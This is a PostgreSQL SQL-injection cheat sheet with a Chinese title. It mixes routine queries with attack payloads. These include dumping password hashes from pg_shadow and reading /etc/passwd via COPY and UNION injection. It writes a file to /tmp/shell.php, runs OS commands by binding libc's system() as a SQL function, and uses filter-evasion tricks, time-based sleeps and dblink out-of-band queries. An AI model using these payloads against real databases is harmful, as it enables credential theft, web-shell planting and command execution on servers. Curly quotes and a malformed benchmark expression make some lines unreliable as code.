PostgreSQL最常用的一些小技巧

#PostgreSQL and PHP supports Batched Queries.
#Awesome, huh? (是不是很酷？)

Version:

SELECT VERSION()

Directories:

SELECT current_setting(‘data_directory’)
SELECT current_setting(‘hba_file’)
SELECT current_setting(‘config_file’)
SELECT current_setting(‘ident_file’)
SELECT current_setting(‘external_pid_file’)

Users:

SELECT user;
SELECT current_user;
SELECT session_user;
SELECT getpgusername();

Current Database:

SELECT current_database();

Concatenation:

SELECT 1||2||3; #Returns 123

Get Collation:

SELECT pg_client_encoding(); #Returns your current encoding (collation).

Change Collation:

SELECT convert(‘foobar_utf8′,’UTF8′,’LATIN1′); #Converts foobar from utf8 to latin1.
SELECT convert_from(‘foobar_utf8′,’LATIN1′); #Converts foobar to latin1.
SELECT convert_to(‘foobar’,'UTF8′); #Converts foobar to utf8.
SELECT to_ascii(‘foobar’,'LATIN1′); #Converts foobar to latin1.

Wildcards in SELECT(s):

SELECT foo FROM bar WHERE id LIKE ‘test%’; #Returns all COLUMN(s) starting with “test”.
SELECT foo FROM bar WHERE id LIKE ‘%test’; #Returns all COLUMN(s) ending with “test”.

Regular Expression in SELECT(s):

#Returns all columns matching the regular expression.

SELECT foo FROM bar WHERE id ~* ‘(moo|rawr).*’;
SELECT foo FROM bar WHERE id SIMILAR ‘(moo|rawr).*’;

SELECT Without Dublicates:

SELECT DISTINCT foo FROM bar

Counting Columns:

SELECT COUNT(*) FROM foo.bar; #Returns the amount of rows from the table “foo.bar”.

Get Amount of PostgreSQL Users:

SELECT COUNT(*) FROM pg_catalog.pg_user

Get PostgreSQL Users:

SELECT usename FROM pg_user

Get PostgreSQL User Privileges on Different Columns:

SELECT table_schema,table_name,column_name,privilege_type FROM information_schema.column_privileges

Get PostgreSQL User Privileges:

SELECT usename,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_user

Get PostgreSQL User Credentials & Privileges:

SELECT usename,passwd,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_shadow

Get PostgreSQL DBA Accounts:

SELECT * FROM pg_shadow WHERE usesuper IS TRUE
SELECT * FROM pg_user WHERE usesuper IS TRUE

Get Databases:

SELECT nspname FROM pg_namespace WHERE nspacl IS NOT NULL
SELECT datname FROM pg_database
SELECT schema_name FROM information_schema.schemata
SELECT DISTINCT schemaname FROM pg_tables
SELECT DISTINCT table_schema FROM information_schema.columns
SELECT DISTINCT table_schema FROM information_schema.tables

Get Databases & Tables:

SELECT schemaname,tablename FROM pg_tables
SELECT table_schema,table_name FROM information_schema.tables
SELECT DISTINCT table_schema,table_name FROM information_schema.columns

Get Databases, Tables & Columns:

SELECT table_schema,table_name,column_name FROM information_schema.columns

SELECT A Certain Row:

SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 0; #Returns row 0.
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 1; #Returns row 1.
…
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET N; #Returns row N.

Conversion (Casting):

SELECT CAST(’1′ AS INTEGER) #Converts the varchar “1″ to integer.

Substring:

SELECT SUBSTR(‘foobar’,1,3); #Returns foo.
SELECT SUBSTRING(‘foobar’,1,3); #Returns foo.

Hexadecimal Evasion:

#Not as fancy as in MySQL, but it sure works!

SELECT decode(’41424344′,’hex’); #Returns ABCD.
SELECT decode(to_hex(65), chr(104)||chr(101)||chr(120)); #Returns A.

ASCII to Number:

SELECT ASCII(‘A’); #Returns 65.

Number to ASCII:

SELECT CHR(65); #Returns A.

If Statement:

#Impossible in SELECT statements.
#However, here’s a work-around with sub-select(s).

SELECT (SELECT 1 WHERE 1=1); #Returns 1.
SELECT (SELECT 1 WHERE 1=2); #Returns NULL.

Case Statement:

#May be used instead of the If-Statement.

SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END; #Returns 1.

Read File(s):

CREATE TABLE file(content text);
COPY file FROM ‘/etc/passwd’;
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 0;
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 1;
…
UNION ALL SELECT content FROM file LIMIT 1 OFFSET N;
DROP TABLE file;

Write File(s):

CREATE TABLE file(content text);
INSERT INTO file(content) VALUES (‘’);
COPY file(content) TO ‘/tmp/shell.php’;

Logical Operator(s):

#

AND
OR
NOT

Comments:

SELECT foo, bar FROM foo.bar/* Multi line comment */
SELECT foo, bar FROM foo.bar– Single line comment

A few evasions/methods to use between your PostgreSQL statements:

CR (%0D); #Carrier Return.

LF (%0A); #Line Feed.

Tab (%09); #The Tab-key.

Space (%20); #Most commonly used. You know what a space is.

Multiline Comment (/**/); #Well, as the name says.

Parenthesis, ( and ); #Can also be used as separators when used right.

Parenthesis instead of space:

#As said two lines above, the use of parenthesis can be used as a separator.

SELECT * FROM foo.bar WHERE id=(-1)UNION(SELECT(1),(2));

Auto-Casting to Right Collation:

SELECT CONVERT_TO(‘foobar’,pg_client_encoding());

Benchmark:

#Takes about 7.5 seconds to perform this logical operation.
#Which can be compared to BENCHMARK(MD5(1),1500000) on MySQL.

SELECT (||/(9999!));

Sleep:

SELECT PG_SLEEP(5); #Sleeps the PostgreSQL database for 5 seconds.

Get PostgreSQL IP:

SELECT inet_server_addr()

Get PostgreSQL Port:

SELECT inet_server_port()

Command Execution:

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT;
SELECT system(‘echo Hello.’);

DNS Requests (OOB (Out-Of-Band)):

SELECT * FROM dblink(‘host= user=DB_Username dbname=DB’, ‘SELECT YourQuery’) RETURNS (result TEXT);

Having Fun With PostgreSQL:

• dblink: The Root Of All Evil
• Mapping Library Functions
• From Sleeping and Copying In PostgreSQL 8.2
• Recommendation and Prevention
• Introducing pgshell